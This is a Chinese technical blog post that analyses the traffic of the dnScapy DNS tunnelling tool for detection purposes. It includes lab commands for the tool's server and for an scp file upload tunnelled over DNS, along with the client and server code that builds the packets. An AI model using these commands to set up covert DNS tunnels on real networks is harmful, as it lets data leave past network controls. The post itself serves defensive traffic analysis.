DNS隐蔽隧道工具--dnScapy流量特征检测分析

本文介绍了dnScapy工具,给出项目地址,其适用于内网主机只开放DNS端口的场景,可通过DNS隧道进行ssh通讯。还进行了流量与逻辑分析,包括环境与测试准备,给出配置和测试方式,同时对Client和Server的逻辑进行分析,重点关注部分方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

工具介绍

项目地址
https://github.com/cr0hn/dnscapy
原始项目地址找不到了,这里是别人从原始项目地址留存下来的。
使用场景
内网主机只开放了DNS相关端口,只允许DNS相关流量通讯,可通过DNS隧道进行ssh通讯。

流量&逻辑分析

环境&测试准备

环境配置
外部IP Ubantu Win10 192.168.2.129
内部IP Kali 192.168.2.139
测试方式

  1. Ubantu运行命令

python2 dnscapy_server.py dnscapy.com 192.168.2.129

其中dnscapy.com在Kali上做了host解析绑定,绑定地址为192.168.2.129
image.png
image.png

  1. Kali上进行文件上传测试

scp -o ProxyCommand=‘python2 dnscapy_client.py dnscapy.com 192.168.2.129’ /home/kali/files/logs/fast.log root@192.168.2.129:/tmp/

image.png
image.png

检测特征

image.png

Client逻辑分析

dnScapy的整体组成部分很简单,分为Server.py和Client.py
先看一下Client.py的相关逻辑:
image.png
上图中可看到,主要逻辑点在于Client的处理,跟踪Client类,其参数为Automaton类,Automaton类为第三方库Scapy的内部实现类,先直接看START方法,此方法为最开始的状态方法
image.png
继续跟踪self.forge_packet方法

def forge_packet(self, qname, is_connection = False, rand = False):
    #_CON默认为a,可自定义修改,在全部变量定义
    sp = randint(10000,50000)
    i = randint(1, 65535)
    #nmax默认为65535
    n = randint(0, self.n_max)
    #START方法传递过来的参数为TRUE
    if is_connection:
        con_id = ""
    else:
        con_id = "{0}.".format(self.con_id)
    #Mode参数如果启动时未指定,默认为CNAME
    if self.mode == "RAND":
        if rand or self.qtype is None:
            self.qtype = choice(["TXT","CNAME"])
        qtype = self.qtype
    else:
        qtype = self.mode
    #就DNS.qry来说格式类似如下:a.int(1-65535).dns
    q = DNSQR(qtype=qtype, qname="{0}.{1}{2}.{3}".format(qname, con_id, str(n), self.dn))
    return IP(dst=self.ip_dns)/UDP(sport=sp)/DNS(id=i, rd=1, qd=q)

之后调用SR1发送数据。

Server逻辑分析

Client的整体逻辑和Server非常类似,这里直接跟踪Child类中的相关方法的详细实现,先看START方法的实现
image.png
其中需要重点关注的方法的CON方法:

def CON(self, ssh_msg):
    #如果本地连接ssh数据为空,则继续尝试连接ssh
    if ssh_msg == "":
        raise self.TICKLING()
    #计算限制长度
    s = self.calculate_limit_size(self.first_pkt)
    #根据请求决定已响应内容
    qtype = self.first_pkt[DNSQR].qtype
    #格式化数据
    self.frag_reply = self.fragment_data(b64encode(ssh_msg), s, qtype)
    #con_id第一次CON默认一定为1
    if len(self.frag_reply) == 1:
        pkt = Core.forge_packet(self, self.first_pkt, "{0}.{1}.0.{2}".format(_CON, self.con_id, self.frag_reply[0]))
    else:
        pkt = Core.forge_packet(self, self.first_pkt, "{0}.{1}.{2}".format(_CON, self.con_id, str(len(self.frag_reply)-1)))
    #发送响应
    send(pkt, verbose=0)
    raise self.WAITING()

其他阶段状态,例如DATA、FAST这里不做分析,主要检测CON阶段

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值